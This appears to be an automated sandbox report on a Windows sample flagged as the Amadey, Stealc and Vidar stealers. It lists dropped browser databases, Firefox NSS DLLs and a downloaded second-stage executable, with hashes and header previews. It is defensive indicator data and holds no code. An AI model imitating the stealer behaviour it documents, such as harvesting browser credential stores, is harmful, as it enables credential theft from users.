	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFBAAFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFHIJDHDGDBFHIEHDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAEBFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAAAFBKFIECAAKECGCAAKJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDBKFHIJKJKECAAAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HIJJDGDHDGDAKFIECFIJEGDHII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHDHIEGIIIDHIDHDHJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHDHIEGIIIDHIDHDHJJKJKJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEGCGDGHCBFHIDHDAAFBGCFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: So7a8eQerR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: So7a8eQerR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1901056
Entropy (8bit):	7.947990003517915
Encrypted:	false
SSDEEP:	24576:fMP/Yq4emBT7hXZikirFBs6DgUn6GWCmR6ziwA7t4WkILL9aaLIQo/msMzqEfKT:BNDBTpIkYFBsRU6G3mOG4+LwasN/7of
MD5:	02F8814BF92076A189CBB26DE55208F0
SHA1:	640ADC5B0E46F5BBAD7C7C1337B7D7B4458D4AA3
SHA-256:	AB00D5E46AEE52694B2061FFFAE5CFD02F53F1E9F18CCB92975E036743EFAFBA
SHA-512:	7CF0B855CD325E52F93398C8A025B6A428C1F6225C826F487B364F23C90545250D3D509CC6B6A5523AB22962B3DAD0EEFB01A13F8B60DA5D70587309DF4B02EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................@K...........@..........................pK......=....@.................................X...l............................&K..............................&K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...rxceoony.....@1.....................@...zwqjotmk.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1901056
Entropy (8bit):	7.947990003517915
Encrypted:	false
SSDEEP:	24576:fMP/Yq4emBT7hXZikirFBs6DgUn6GWCmR6ziwA7t4WkILL9aaLIQo/msMzqEfKT:BNDBTpIkYFBsRU6G3mOG4+LwasN/7of
